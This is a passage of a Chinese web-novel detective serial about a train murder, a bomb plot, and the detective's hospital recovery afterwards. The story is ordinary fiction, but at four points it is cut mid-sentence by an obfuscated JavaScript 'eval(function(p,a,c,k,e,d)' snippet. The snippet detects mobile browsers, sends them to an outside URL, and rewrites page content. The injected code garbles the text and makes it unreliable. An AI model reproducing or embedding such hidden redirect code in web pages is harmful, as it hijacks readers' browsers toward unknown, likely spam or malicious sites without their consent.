“因为这根手杖上镶嵌的绿宝石是那颗祖母绿,也就是贝尔女士祖母留下的那颗宝石。” “什么!”贝尔女士立刻低头查看手杖,“是真的!是那块祖母绿!” “那……那位警官先生说的,宝石被盗走是?”尤塞恩疑惑。 “宝石没有被盗走,在列车中展示的不是假的就是普通的绿色宝石。”阿莉雅一一解释,“这是杰拉德·特雷恩的计划,他知道贝尔女士要来,也知道她会闹事要回那块祖母绿,所以他想了个办法。” “只要怪盗卡萨诺瓦偷走了宝石,贝尔女士也在场见证,那么她就能早点死心了。” 尤塞恩:“即使王室在场?” 阿莉雅点头:“即使王室在场。他知道来的人会是塞西尔家的人,但……塞西尔家不干涉政事,就算来人将他混乱的作风上报给女王陛下,只要他法律上无罪,就算道德上有瑕疵,女王陛下也不能给他定罪。” “在场的除了塞西尔家的人,只有模特和他的经纪人、来找他麻烦的贝尔女士以及他的下属和情人。”阿莉雅耸肩,“这样的搭配完全、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158532|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法对他的前途产生任何影响。特雷恩集团毕竟还是以他们家族的名字命名,作为吉祥物,只要没有明面上的错漏,就不会有事。” “真是个混蛋!”贝尔女士怒气冲冲,“所以,预告函也是伪造的!” “是啊。” 萨沙却“噗嗤”一声笑了出来:“哈哈哈哈。”她的眼角沁出泪水:“精彩,精彩的推理。没错,那个白痴混蛋让我协助他完成这个计划,他就等着从隧道出来的那一刻前面传来宝石被盗的消息。不过我怎么会让他得逞呢?” “他就应该死在忐忑不安等待好消息传来的前夕,我怎么能允许他达成愿望!” 阿莉雅摇头:“虽然这是你选择杀人时机的理由,但不是你今天动手的原因。我说过了,同态复仇法,你会选择用同样的方式赐予杰拉德死亡。只不过有外因触发了你的杀意,让你临时起意动手了。” “虽然我对此仍抱有疑惑,不过你在今天得知了一个消息,杰拉德手里的宝石是从贝尔女士的祖母那里获取的。我认为,这就是你动手的外因。” 阿莉雅深吸一口气:“我说这话并没有将死者的死亡这一责任也分割部分强加给贝尔女士的意思。不过根据你先前的描述来看,你对死者不曾记得你的母亲赫拉莎女士抱有不满和恨意。在这样的情况下,你得知杰拉德不仅记得贝尔女士祖母,甚至使用的是与她结婚骗取遗产这一手段,而不是制造‘意外’。这令你感到嫉妒、愤怒以及崩溃。” “同样是受害者,但贝尔女士的祖母却能够善终,你觉得这不公平,所以在列车进入隧道的那刻,你内心的不甘盖过了理智,抛开了原先的筹备、计划,你选择让他在此时此刻死亡。” 萨沙唇角勾起笑:“是啊,厚此薄彼可是不对的。” “偷走手杖也是因为你不愿意让贝尔女士拿回宝石。” “没错,凭什么她能拿回祖母的遗物!”萨沙逐渐扭曲表情,“赫拉莎妈妈的房子、公司、金钱他拿走也就罢了,可就连妈妈的衣物一件都没给我留下!” “凭什么她能那么幸运!” “嗯,所以说回结论,我认为你有严重的自毁倾向。你切割了萨沙和阿莱莎两个身份,但不会直面真实的自我与罪行,所以没有自首的可能。你也没有选择继续‘萨沙’这个身份的理由,毕竟‘萨沙’在你的脑海中链接的是‘杰拉德的情人’这一标签。所以你会选择死亡。” “你在黑暗的隧道中抽出藏于戒指中的金属丝,借着和死者杰拉德·特雷恩亲近的机会堵上他的嘴——不,即使已经上了年纪,也是一个麻烦的成年男性,所以你喂了安眠药。取走手杖藏在裙下,之后用金属丝一圈一圈缠上他的脖子,在出隧道前割断了他的脖子,最后用尖叫掩盖自己回到座位的动静。” “可你同样不会允许知晓你罪恶的人存在,因为他们的知情象征着你自己的纯白被玷污,所以你会选择毁灭,连同承载着案发现场、正在行驶的西奥多列车一起。” 19. 行驶的西奥多·第十幕 “什么叫连同列车一起?”尤塞恩慌张地抓紧经纪人的胳膊。 阿莉雅没理他,伸手握住了萨沙小姐的手:“让我猜猜,你是打算用什么方法自杀。脱轨?火灾?炸弹?” 指腹抵住的肌肤下,脉搏加快了跳动,阿莉雅了然:“果然如此,是炸弹。”列车脱轨和失火都无法遮掩有一具无头尸体的存在,只有炸弹才能让血肉肢体横飞混杂,掩盖她的罪行。 “你这个疯子!难道打算让所有人都陪葬吗!”詹姆斯拽着萨沙的领口拎起,“说!你把炸弹都放在哪了!” “哈。”萨沙露出恶毒的笑,“我为什么要说。” “但那些普通乘客有什么错!”贝尔女士气急,“我们这些无辜的人又有什么错!” “无辜?”萨沙眼球转动,一一扫过车厢中的人,“你们没能阻止我杀了他,这也叫无辜?” 詹姆斯被她气笑了:“你在说什么鬼话,杀人的是你,竟然还反过来怪我们没能提前中止你的犯罪。” “不用和她多费口舌。”阿莉雅摆手,“我已经让谢德去排查车内的炸弹了,詹姆斯先生看好萨沙,其他人检查下车厢的各个角落是否有炸弹。” 在死亡的威胁下,几人纷纷听命趴着或跪着翻找可能存在的炸弹地点。 “其他车厢的人……”莉达担心前面几节车厢的人,“我记得特雷恩先生说每个车厢只有两三名警察值守,他们能够在安抚乘客的同时做好检查工作吗?” 阿莉雅摇头:“不用担心。我们是不一样的。” “什么意思?” “我们这部分的车厢和其他车厢脱节了,还记得最开始的震动吗?在那个时候,我们这三节车厢就已经独自拐向了其他分岔路。现在的我们正坐在前往时钟塔的方向。”阿莉雅语速飞快,“三条路线都拥有隧道,但唯一一条在隧道前就能够和主要车厢脱节的路线就只有通往时钟塔的这条。我已经让谢德去前面的通讯室求助了,之后会在最近站点停下。” “这里!炸弹!钟在动!”尤塞恩从车厢顶部的挡板上找到了藏着的炸弹,钟表的发条持续运转。 阿莉雅花了一秒钟思考果断道:“不要动它,按照我的指令拆除。” “我、我来拆吗?”尤塞恩吞咽口水,“但是……” “别废话了,你想死吗?”阿莉雅语气严肃,“听好,这种钟表发条驱动的炸弹一般是有时限的,告诉我,还剩多久?” 表盘的指针没有一刻停留地前进,分针停留在数字九的位置。 “还有十五分钟。” “好,那你下来,塞西尔小姐,你去拆。”听到时间还有剩,阿莉雅果断换了个她认为更靠谱的人选,“够不到就让尤塞恩当垫子,准备油脂、剪刀和镊子。油脂可以用蜡烛油代替,没有镊子就用羽毛笔。蜡烛和剪刀通常会放置在列车的柜子里备用。” 贝尔女士从柜子里翻出剪刀和蜡烛,擦根火柴点燃红色的希望递给莉达·塞西尔。经纪人大叔掏出自己的羽毛笔交给肩负着重任的少女。尤塞恩老实蹲下,让塞西尔坐在自己的肩上。 “我看到炸弹了。”莉达·塞西尔紧张地舔唇,“要怎么做?” “首先深呼吸平复心情,动作一定要稳。”阿莉雅用温和的语气引导,“现在,你先用蜡烛观察一下内部结构,找到主发条的轴心。” 闻言,莉达借着烛光仔细巡视着内部转动的齿轮,在一圈圈转动的齿轮中找到了那枚主导着整座车厢命运的发条轴心。 “我找到了,科洛桑。” “好,用羽毛笔尖蘸取蜡烛油,滴入主发条的轴心。” 笔尖小心翼翼地从蜡烛油上抹过,莉达深呼吸几次后,将羽毛笔尖送入钟表内部。 融化的烛油沿着细长的笔尖滑落,坠入轴心、渗入轴承。几秒后,烛油凝固,原本运转良好的齿轮因为这意外的阻力粘滞。清脆的“咔哒”声愈发沉闷。 几个呼吸后,她沙哑着声音答:“滴进去了,齿轮转动的速度慢下来了。之后要怎么做?” “看到保险扣了吗?剪断。” “咔擦”一声,铜制的保险扣被一分为二。 听见上方莉达·塞西尔说完成后,阿莉雅送了一口气:“好,接下来把麻绳抽出来,你们找杯水,记住是水哦,塞西尔小姐直接把麻绳浸在水里就好。做完这些我们就安全了。” “噗。” 细小、轻微的一声嗤笑从阿莉雅身后传来。随后她的脖子被狠狠扼住。 “安全?”萨沙手上用力,“你真的觉得这节车厢只有这一颗炸弹吗?” 面色不快的女人踹了踹脚边昏倒的人,冲着还沉浸在拆弹过程的一群人叫嚷:“喂,我说,你们直接放弃吧,这节车厢里还藏了两颗炸弹。与其花个三五分钟去拆弹,不如直接写封遗书……哦,我忘了,遗书恐怕会和你们一样被炸得四分五裂哈哈哈哈!” “科洛桑!”“阿莉雅小姐!”刚结束拆弹的几人还没从劫后余生中醒过来,就被又一个噩耗砸了脑袋。 “不用担心,就当她说的是真的,你们继续找炸弹吧。”阿莉雅没把掐着自己脖子的那只手当回事,语气轻松,“就凭萨沙小姐这幅狗急跳墙的模样我也可以肯定这节车厢顶多再有一颗炸弹。” 两颗炸弹大约就是极限了。毕竟萨沙从福利院长大,最后选择当情人而不是助理的身份潜伏在死者身边,恐怕也是因为她没能好好把书念完。 想要学会制作炸弹,就算是一路念到大学也不一定能成功。萨沙获取炸弹的手段恐怕就是从某些不能公开的地下交易中用金钱获取的。 一共三节车厢,如果每节都放两个炸弹,就需要六颗,这笔钱就算把阿莉雅的事务所卖了也赚不回来,更何况萨沙。 脖子被勒得更紧,阿莉雅知道自己说对了。她叹气:“所以呢,这就是你的复仇?真是愚蠢又无趣。我还以为你会采用更保险的手法自杀。” “什么意思?”萨沙皱眉,她发觉即使自己已经控制住少女的命脉似乎也无法掌控她。 “炸弹的出现无疑就是向警察明示:这里有秘密,快来快来。换成我,我会选择夺取驾驶室的控制权,直接撞在任意一处山头。既能完成爆炸又可以毁尸灭迹,问题也会从炸弹犯是谁间接引到驾驶人员头上。特雷恩集团肯定要给社会一个交代。” 少女再次叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173324|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气:“但是,你选择走向毁灭这条路也让我很失望啊。我还以为你会更有骨气一点,堂堂正正地被逮捕,之后揭露杰拉德·特雷恩的面具,让所有人都认识到他的丑恶嘴脸呢。” “你在劝我自首?” “不,怎么会呢。”阿莉雅笑笑,“我只是随便说说而已。” 之后她压低声音:“不过,你真的只是因为觉得不公平才选择在今天杀了杰拉德吗?” “你什么意思?” “我说过,我对你进行了侧写。你以情人的身份潜伏在杰拉德·特雷恩身边,说明你具备高度的计划性和耐心,想必在研究他的生活习惯和喜好上花了不少时间吧。为了扮演好这个角色花费了不少心思呢,萨沙小姐,啊不,阿莱莎小姐。” “你……” “说起来,我一直很奇怪,为什么阿莱莎小姐会选择扮演情人这个角色呢?像詹姆斯先生那样选择助理或者下属的身份不是更为轻松?” “该不会想说情人这一身份更好近身吧?”阿莉雅又开始怪腔怪调,“不会吧?真的会有人愿意和杀害自己母亲的人亲密接触吗?难道不是肌肤相触的程度就会呕吐,更遑论进一步的行为。” “你其实对他有一定的依赖,对吧?毕竟他在外人面前都是一幅好好先生的模样,如果不是知道他连续杀害了多人,任谁都不能从那绅士有礼的皮囊下看出那是个残忍的恶魔。” 如同低语一般:“你对他又爱又恨,你爱他那幅绅士的容貌,优异的才华。你也恨他残忍的做法和风流的个性。你偶尔会在午夜温存时看着他的脸想:为什么这个人会杀害我的母亲呢?是不是我搞错了什么?在太阳初起的清晨产生过‘如果这个人真的是我的伴侣就好了’这样的念头。” “你爱他,所以不能容忍他会对那位贝尔女士的祖母手下留情。不能接受被他看上的猎物可以逃过一劫。你其实是在嫉妒那位自然逝世的女士吧,阿莱莎小姐。” “你、你住口!”萨沙,不,阿莱莎像是被戳到痛处般把阿莉雅推倒在地,“你在胡说!我根本没有那样想过!”她浑身颤抖,无法接受阿莉雅的这种侮辱。 其他人想要过来扶起阿莉雅,但金发的少女听见身后慌杂的脚步声后比了个手势让他们不要上前。 她向前几步,几乎和阿莱莎贴面:“真的没有过吗?你的呼吸和脉搏可是在说:没错,就是这样。你敢说你在杰拉德身边那么长时间,一次放弃复仇的念头也没有吗?” “我、我……”阿莱莎捂着脸滑落在地,“这不可能,我怎么可能对那个混蛋!” “阿莉雅,解决了。”恰在此时,谢德进来报告,“前面两节车厢共五颗炸弹全部被拆除了。” 随后他的目光落在正在崩溃哭泣的阿莱莎身上:“你又把犯人说崩溃了吗?” 阿莉雅无辜耸肩:“我就随便说说,谁知道她会崩溃。” 可惜,在阿莉雅承认自己刚才的话都是胡编乱造的时刻,阿莱莎已经没有心神接收这个信息,正浑浑噩噩嘴里反复念叨着:“不可能……怎么会……” 谢德叹气。他就知道,就算失忆了,阿莉雅还是阿莉雅,又要写检讨了…… 20. 行驶的西奥多·第十一幕 “虽然据我猜测最多只会有六颗炸弹,但是,以防万一,还是再搜查一遍吧。”阿莉雅挥挥手让谢德从前面的车厢里找两个帮手过来,“那群家伙看到顶头上司的尸体不会吓得腿软吧?” “他们知道车上有炸弹的时候就已经骚动过了。”谢德转身叫人,不一会儿就带着两个步伐稳重的家伙过来。 整节车厢中,除了站在原地监工的阿莉雅和跪倒在地崩溃的阿莱莎外,其他人都秉持着不放过任何一个角落的态度,认真地搜寻着可能窝藏着炸弹的地点。 因为要保护现场,所以大家都默契地绕开了那块充满血腥和肮脏的区域。很快,谢德报告情况:“没有炸弹了。” 阿莉雅摇头:“就算是案发现场也要搜查,尽量保持现场状况,所以谢德你去。” 依言照做的谢德单膝跪地查看尸体所坐的椅子下方,又弯腰探头检查茶桌。就在所有人都觉得差不多了,不可能有疏漏的时候,他还特地检查了尸体的衣物。 “没有。” 真的没有了吗?阿莉雅皱眉。明明已经多次检查过了,为什么心脏仍然高悬不下? “吱——” 在她思考的时候,列车已经停靠了最近的站点。作为现场唯二的警方人员,谢德指挥着现场所有人依次下车。 詹姆斯被他的同事们拖下了车,阿莱莎由莉达·塞西尔和一名特雷恩集团的员工共同监管。 牵着阿莉雅的手将她带下马车,谢德见她眉头紧锁,问:“有哪里不对?” “这不合常理。”阿莉雅困惑,“按照她的思路,就算一共有六颗炸弹,也会维持2:2:2的量,怎么会在前两节放置五颗,最后一节只放一颗炸弹呢?” “或许是因为她也有侥幸心理。”谢德顺着她的思路推理,“如果只有一颗说不定有机会活下去。这样的想法?” “不可能。”阿莉雅不太赞同,“如果她会活下去,那么我们也有概率获救,她不会允许这种事情发生才对……” 见阿莉雅陷入了深思,谢德摇摇头,先把她带到一边的座椅上。遇到解不开的谜题时,阿莉雅是不会放弃思考的。这种时候只要把全速运转脑袋的可颂小姐安置到舒服的位置,就可以先行离开去完成自己的工作了。 谢德和几位从其他警局借调过来的同事们打了个招呼,将案件详情简要地说明:“杰拉德·特雷恩因为涉嫌杀害骗取多名女性的财产,在今日被受害者的家属杀害。” 官方的话说完了,他又提醒几人:“现场比较混乱,你们跟我上车的时候要注意。” 拉开列车的门,谢德听见阿莉雅在大喊:“离开那里!还有炸弹!” 刹那间,世界仿佛归于寂静。 流动的空气忽地停滞,周围人的表情骤然凝结。谢德望见了阿莉雅惊慌的神情,竟然还有时间在内心调侃这副样子真是好久没见了。 紧接着,轰鸣扫过此处,炽热的火焰舔着他的后背,爆炸的余波直撞,五脏六腑被挤压、捏碎。 如海啸般的气浪将他掀飞,好在他能借着这股力量靠近阿莉雅将她护在怀里。 在谢德昏迷前的最后一秒,他在想:希望能直接被送到齿轮市的医院,还可以顺便给阿莉雅检查眼睛。 三分钟前。在谢德把她摆放在座椅上的时候,阿莉雅仍在和自己的本能缠斗。 理智告诉她:这不合常理!凶手肯定还留有一手! 感性告诉她:大家都快把车厢翻了个底朝天啦,不可能还有炸弹的! 要是我还能看见就方便了。阿莉雅无缘由地对自己的现状产生了一丝怨气,随后很快释然:天才总是要被生活磋磨的。她现在就如此聪明,如果再有一双漂亮又敏锐的眼睛,那其他人可怎么办呀。 自恋了几秒,阿莉雅晃晃脑袋切换状态。 先从凶手的心理开始顺一遍吧。她恨死者杀害了被她视如母亲的资助者,同时也恨着伪装成死者情人的自己,所以一定会选择在杀害凶手后自我了结。 但死者和自己的死亡还不够,因为那样不能维持她原本身份——作为一名被资助者,同时也是妈妈心中的好孩子的清白。所以会选择拉着整节车厢的人一同陪葬。 对凶手来说,作为死者成就、或者说是作品的西奥多列车也是毁灭的目标之一。毕竟死者还指望着这辆列车获得更高的地位,凶手不可能留着这辆车。 凶手是因为心善所以只选择了三节车厢吗?不一定。她的能力只有三节车厢。她没有办法控制整辆列车的情况。恰好,死者自豪的每三节就拥有的完善储备这一特点给了她灵感。只要控制死者所在的这三节车厢足矣。 在得知死者筹划的“怪盗偷走宝石”一事,或许是凶手提出的,亦或者是死者原先就有如此计划,总之他们所在的这三节车厢与其他车厢脱节,行驶在另一轨道上。 三节车厢。 驾驶员、特雷恩集团的员工、詹姆斯是死者的下属,被视为帮凶。 尤塞恩以及他的经纪人,是乘坐豪华包厢的乘客,被视为凶手悲惨遭遇的受益者。 莉达·塞西尔是被邀请来此的王室,肯定是默许死者杀人行为的缄默者。 而贝尔女士……在她和死者对峙前,凶手或许还会将她视为同病相怜的同伴,想要与她携手离开这个浑浊不堪的世界。但在那之后,对不同命运的嫉妒完全支配了她的理智。 不,不对,错了。阿莉雅深呼吸试图恢复冷静。以上推理的前提都是在她早有预谋的情况下,但先前的推测是,凶手是因为贝尔女士刺激突然决定出手的…… 等等,为什么会认为凶手会选择伪装成自杀的手法去杀害死者?长期潜伏在身边只会一遍遍加重恨意,又怎么可能用药给对方一个还算舒适的死亡? 灯泡噌地被点亮。 阿莉雅恍然大悟。 不是什么同态复仇法,她从一开始就被凶手的话带偏了思路。那家伙从一开始就打算用炸弹将所有人炸飞! 想通了这一关窍,阿莉雅立刻站起身大喊:“离开那里!还有炸弹!” 要说最后一颗炸弹会藏在哪里,那一定是尸体的周边。即便谢德摸遍了尸体全身也无法找到的那个地方——尸体和座椅靠背的缝隙。只有那里!因为在场有两个警方人员知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180434|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道不能破坏案发现场也不会挪动尸体,所以凶手把炸弹放在了那里! 声浪似乎要扯破阿莉雅的耳膜,她在昏过去前只剩一个念头:这次不会连耳朵都出问题吧? 出问题当然是不会的。离爆炸一米内的人才会永久性耳聋。谢德算是位置最近的人,他也只有暂时性耳鸣和听力模糊的状况,医生说会在数小时至数天恢复。 远离爆炸中心的阿莉雅小姐听力非常好,似乎因为缺失一感官进而促使了其他感知能力的提升,现在都能听清病房外的脚步声了。 哦,当然,这个医院的隔音可不像是玫瑰镇那样的透明板,只要不发出尖叫,走廊是听不到病房里的声音的。 “……所以,我们要暂时在这里呆一段时间。”身上缠着厚厚一层绷带的谢德削着苹果,“因为我们俩是警方人员,所以必须要配合当地的警局进行调查。我已经向上面汇报这件事了。” 嗅到苹果的清香,阿莉雅靠在枕头上望着天花板缓慢地眨了眨眼睛:“我不吃苹果哦。” “我知道。”谢德说完便将苹果送进自己嘴里,“我也没说是给你的。” 阿莉雅:“……”怎么会有这么坏的人,竟然会虐待病人。 从她的表情就能猜出来她在想什么,谢德又啃了一口苹果:“从医院的检查结果来看,我的烧伤加骨折可比你的脑震荡要严重得多。”在病床上躺了三天的他,现在已经能够下地行动了。 阿莉雅:“……”真是变态级别的恢复能力。 “总之,除了我们外,其他人也都在医院,大家都多多少少受了点伤。”谢德慢慢开口,“还有,我们现在正在时钟塔附近的布谷鸟市。虽然我已经通知过你的父母兄姐了,但是离这最近的似乎只有你的兄长亚瑟·科洛桑。” “我记得你说过。”阿莉雅直愣愣地仰面朝上,对着天花板开口,“他和姐姐是双胞胎。” “没错,他是双胞胎里的弟弟。今年二十八岁,是名画家。” “我的记忆力还没退化到几天前的事情都忘记。”阿莉雅闷闷不乐。 谢德脑袋一转,大概知道她在闹什么别扭了:“被误导不是你的错,毕竟我作为你的‘眼睛’,没能及时发现问题。” 阿莉雅轻微摇头:“不管是什么原因。盲目地信任凶手嘴里的话就是我的过失。”她还是太自大了,天真地认为自己能够掌控全局。 “……”谢德沉默。 阿莉雅很少在他人面前露出失落的表情。她在别人眼中从来都是自信张扬的模样,脆弱和感伤几乎是她的反义词。 她离开的三天到底发生了什么?是谁让她变成这幅模样? 疑问萦绕在谢德的脑海中。或许只有回到齿轮市的那间事务所才能找到线索。 “……你不觉得这时候应该说点什么吗?”阿莉雅忍不住开口。 谢德茫然:“说什么?” 阿莉雅嘟嘟囔囔,不好意思地从嘴里挤出话:“就是……就是……” “想吃可颂……”最后还是暴露了自己的想法,“你应该说:不要想太多,吃些可颂吧。应该这样才对!” 21. 行驶的西奥多·第十二幕(完)^…… “感谢两位的配合。”胸前佩戴着布谷鸟市警徽的警察起身道谢,“关于杰拉德·特雷恩死亡一案我们已经完全了解情况了。接下来会联合乌云市警局的同僚们一起追踪调查近年来的‘意外’。这一方面,可能还需要阿莉雅小姐的协助。” 警察求助的对象正心情不佳地吃着医院特供的病号餐,她蔫蔫应道:“知道了——总之是需要警察总监处理那边的害虫对吧。” “额……”一时之间,年纪较轻资历尚浅的警员不知道自己该不该接话。 “这一方面我已经向总局汇报了,相信要不了多久就会有所动作。”谢德微笑着解围。 “是,麻烦道格探员了。”对于这位隶属特殊部门且年纪与自己相仿的同僚,警察先生很是倾佩。 察觉到两人都还需要休息后,他便提出告辞。 “等一下,凶手醒了吗?”阿莉雅抛下自己讨厌的小番茄立马问道,“她现在的精神状态如何?能够正常交流吗?” “如果您需要会面的话,我想应该是没问题的。”警察抬头看了眼时钟,“不过医生建议不能让阿莱莎小姐太过疲惫,所以会面时间可能要压缩在十分钟内。” “足够了,麻烦带我过去。” 阿莱莎的病房位于走廊的尽头,那里有两名警察在门口看守,以防她从病房中逃脱。推开房门,还有一名警察守在窗户旁监视。 作为一名杀人凶手,同时还是一名造成数十人受伤的炸弹犯,获得这样的防卫并不奇怪。 见到那位金发的少女走进病房,阿莱莎难看地扯起嘴角:“我还是第一次听说会有侦探在逮捕犯人后特意来场谈话。怎么,列车上的推理满足不了侦探小姐的好奇心吗?” 阿莉雅条件反射地皱眉:“我讨厌‘侦探’这个称呼。”随后才回答问题:“我并不是来满足好奇心的,我只是来修正一些错误。” “你是自毁倾向很强烈的表演型人格。” “莫名其妙。”阿莱莎翻了个白眼。 “这类性格的人会有很强的情感依赖。” “所以你要再重复一遍在列车上的结论?说我对杰拉德·特雷恩有爱的情感?” “但依赖的对象却是痛苦本身。换句话说,你沉溺的是自己主演的一场悲剧。我说完了。”阿莉雅毫不留恋地离开病房。 唯有带着他们来到病房的警察先生摸不着头脑,在回去的路上他悄悄问自己的同僚:“道格探员,阿莉雅小姐说的是什么意思?” 谢德略一回想,答:“意思是,阿莱莎小姐对死者毫无情感,她原以为自己对死者有爱情,但实际上是入戏太深,自己陷入了早已写好悲剧收尾结局的故事里。比起完成复仇,阿莱莎小姐更执着于表现自己的悲惨人生。” “哦哦!”警员恍然大悟,“也就是说她把自己当作悲惨故事的主人公!” 阿莉雅挺住脚步,回头:“没错,在她的资助者死亡后,她所行的每一步都是在加剧自己的痛苦,尤其是死者情人这一身份。我怀疑她原本在福利院的日子并不好过,但在通过卖惨的行为吃到了甜头,所以性格逐渐扭曲了。” 等回到阿莉雅的病房,一下子就只剩她和谢德两个人了。警员因为要回去整理报告急匆匆地离开了。 “感觉刚离开医院没多久,又进医院了。” 阿莉雅撑着下巴坐在床上,被谢德捏了捏脸颊:“不要装作好像是忘记了小番茄没吃完的样子,别挑食,快点吃掉。” 他叉起红彤彤的果实,送到阿莉雅嘴边:“只有不挑食的好孩子才能成长到5.5英尺(170厘米)。你知道为什么你的姐姐夏洛特能比她的弟弟亚瑟高吗?就是因为她不挑食。” “小莉雅!”病房门被猛地推开,“哥哥来看你了!听说你刚出医院没多久就又进医院了,没事吧?” “啊……”阿莉雅没反应过来被吓得张嘴,谢德趁机把小番茄塞进她的嘴巴里了。 自家顾问虽然爱挑食,但是放进嘴巴里的东西都会老老实实咽下去这点真是太好了。谢德欣慰地点头。这样下去,今年肯定能长高的。 亚瑟·科洛桑风尘仆仆地赶来医院,结果看见的却是黑心杜宾胁迫可爱妹妹吃下恶魔果实的画面。 “啊啊啊啊!”亚瑟慌慌张张地从包里掏出一瓶牛奶,“小莉雅,快喝牛奶漱嘴。” 谢德无语:“亚瑟先生,只是一颗小番茄而已。” “什么叫做一颗小番茄!你看那猩红如同血液般的外皮,你再看那层皮囊下淤积的浑浊浆液,这种入嘴就像咀嚼着无数颗粒,还会迸发酸涩味道的邪恶食物,怎么可以用这么轻飘飘的话带过!” 亚瑟·科洛桑和他的妹妹阿莉雅一样都是无条件讨厌小番茄人士。与此相反的是妈妈吉娜和姐姐夏洛特,她们两个都不是挑食的个性。爸爸费雷德·爱德蒙·科洛桑在结婚前也是反对小番茄派,但是婚后……被镇压投降了。甚至要在两个反对派面前维持淡定的表情吃下小番茄。 “恕我直言,阿莉雅在年初许下的愿望是今年能够长高,按照现在的体检数据和她过于挑剔的饮食结构来看,这个愿望的难度还是太高了。”谢德把本子怼到亚瑟眼前,“亚瑟先生自己长不高就算了,还要连累妹妹一起吗?” 心中似万箭穿过,亚瑟努力辩驳:“什么叫我长不高?我也有5.8英尺(178厘米),是夏洛特那家伙太能长了。” “那是因为夏洛特署长不仅饮食均衡而且饮食和作息都很规律。比总是关在画室里的人健康多了。”谢德意有所指,“我也不打算指望阿莉雅成为一个早六晚九天天运动的人,但保证身体健康,最简单的就是保证饮食。” 阿莉雅总算摆脱小番茄那微妙的风味,她缓过来,慢慢开口:“我要吃可颂。” “驳回。”这是谢德。 “我去买。”这是亚瑟。 谢德再次强调:“如果不希望阿莉雅成为医院的常客……” 亚瑟张张嘴,最后凑到阿莉雅耳边小声说:“等会儿我带你出去,我们偷偷吃不告诉他。” 阿莉雅绷住面上的表情,防止被看出破绽,严肃点头。 “阿莉雅不可以出院。”谢德眼睛都不用眨就知道他们有什么计划,“脑震荡要留院观察七天,今天是第四天。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188761|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>对于亚瑟·科洛桑,谢德完全搞不明白。这家伙都二十八岁了怎么还像个小孩子一样,天天和阿莉雅一起捣乱。最重要的是,只要他一出现在阿莉雅面前,两个人就自动成为同盟,排斥所有人的加入。 “出院后我们就立刻回齿轮市吧。”亚瑟心疼地摸摸阿莉雅的脑袋,“安德森医生应该会有办法治好你的眼睛的。” 谢德叹气:“我正想说这件事,我在去接阿莉雅前预约了安德森医生的问诊,但是因为意外错过了。那位医生每月只有一天的坐诊时间,其他时候都在帮着做手术。布谷鸟市的医生也说他们这边不敢随便下结论,最好还是去找那位医生。” 亚瑟也对那位医生有所耳闻:“安德森医生也不喜欢插队和特权。” “那就下个月再去呗。”阿莉雅无所谓,“早一天晚一天的区别不大。比起这个,炸弹的来源问清楚了吗?” 谢德之前和这边的同僚同步过情报:“阿莱莎小姐没有透露具体的交易地点,只说是对方递消息过来,之后顺着信息到指定地点挖箱子。至于之前怎么联络,如何交付金钱,都不肯说。” 眼见着两人又开始头脑风暴思考工作方面的事,亚瑟连忙打岔:“好了好了,都是病人就好好休息,剩下的事就交给布谷鸟市的警察吧。” 身为警察总监的儿子,亚瑟还是很熟悉各城市警局的状况的:“布谷鸟市这边都是加班狂魔,他们对维护城市稳定很上心的,不用担心。” 他在到来之前,也和姐姐夏洛特通讯过,对阿莉雅和谢德经历的事情有一定的了解。毕竟特别案件处理处的报告都是会递交到姐姐手里的。 “过两天有场音乐会,我们去听音乐会如何?”亚瑟期待地看向阿莉雅,“下周三,就在布谷鸟市。” “不是说要回齿轮市吗?”谢德斜眼看他,“我们两个可是有工作在身的。” 亚瑟摆摆手让他离远点,凑近阿莉雅诱惑:“音乐会的贵宾休息室,会提供很多高级的甜点,据说请来的厨师,最擅长的就是可颂。” 阿莉雅耳朵动了动。 “如果对音乐会不感兴趣,我们还可以改道去隔壁的美术馆,周四那天有甜点比赛借用了那里的场馆。” 阿莉雅感兴趣地转头:“美术馆竟然会借场地给甜点大赛,馆长难道不担心美术品被弄脏吗?” 谢德皱眉:“布谷鸟市竟然有甜点大赛?还在美术馆?” 